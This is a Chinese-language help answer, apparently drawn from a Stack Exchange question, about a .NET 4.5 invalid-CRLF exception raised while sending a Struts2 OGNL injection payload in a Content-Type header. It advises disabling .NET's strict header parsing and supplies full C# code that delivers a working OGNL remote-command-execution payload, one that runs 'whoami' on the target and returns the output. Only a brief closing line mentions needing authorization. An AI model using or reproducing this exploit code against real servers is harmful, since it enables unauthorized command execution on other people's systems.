.NET 4.5中带特殊Content-Type的HTTP GET请求及无效CRLF异常
看起来你在帮朋友测试网站漏洞时遇到了.NET框架的安全限制问题——那个特殊的Content-Type payload(明显是Struts2的OGNL注入测试用例)触发了.NET 4.5及以后版本的HTTP头严格验证,导致抛出无效CRLF的异常。下面是具体的原因分析和解决方法:
问题根源
.NET 4.5引入了更严格的HTTP头解析规则,核心目的是防范HTTP响应拆分攻击。当你设置的Content-Type头包含不符合RFC规范的字符(比如隐藏的换行、回车,或者框架判定为危险的特殊符号组合)时,HttpWebRequest会直接抛出异常,拒绝发送请求。你使用的这个OGNL payload本身字符结构复杂,大概率包含了被框架判定为风险的序列,或者复制时不小心带入了换行符,触发了验证机制。
解决步骤
1. 先确保payload的正确性
首先检查你复制的Content-Type值,确保它是连续的单行字符串,没有多余的换行、回车或空格。OGNL注入payload需要紧凑的格式,任何多余的换行都会被.NET识别为非法的CRLF。
2. 添加配置禁用严格头解析
这是解决该异常最直接的方法,通过修改配置文件绕过.NET的头验证:
在你的项目的app.config或web.config中添加以下配置:
<configuration> <system.net> <settings> <!-- 禁用严格的HTTP头格式检查,允许包含特殊字符的头字段 --> <httpWebRequest useUnsafeHeaderParsing="true" /> </settings> </system.net> </configuration>
这个配置会告诉.NET框架跳过对HTTP头的格式校验,允许你设置包含特殊字符的自定义头。
3. 正确编写HttpWebRequest代码
下面是完整的代码示例,注意GET请求的特殊处理(GET请求默认没有请求体,必须显式设置ContentLength = 0):
using System; using System.IO; using System.Net; class Program { static void Main(string[] args) { string targetUrl = "http://your-friends-target-site.com"; // 确保payload是单行无换行的完整字符串 string customContentType = "%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"; try { HttpWebRequest request = (HttpWebRequest)WebRequest.Create(targetUrl); request.Method = "GET"; // 设置自定义Content-Type头 request.ContentType = customContentType; // GET请求无请求体,必须设置ContentLength为0 request.ContentLength = 0; using (HttpWebResponse response = (HttpWebResponse)request.GetResponse()) { using (StreamReader reader = new StreamReader(response.GetResponseStream())) { string responseContent = reader.ReadToEnd(); Console.WriteLine("响应内容:"); Console.WriteLine(responseContent); } } } catch (WebException ex) { Console.WriteLine($"请求出错:{ex.Message}"); if (ex.Response != null) { using (HttpWebResponse errorResp = (HttpWebResponse)ex.Response) { Console.WriteLine($"错误状态码:{errorResp.StatusCode}"); using (StreamReader reader = new StreamReader(errorResp.GetResponseStream())) { Console.WriteLine("错误响应:"); Console.WriteLine(reader.ReadToEnd()); } } } } } }
4. 重要提醒
请务必确保你进行的测试是获得网站所有者明确授权的!未经授权测试他人网站的漏洞属于违法行为,可能会承担相应的法律责任。
内容的提问来源于stack exchange,提问作者Crius Lan

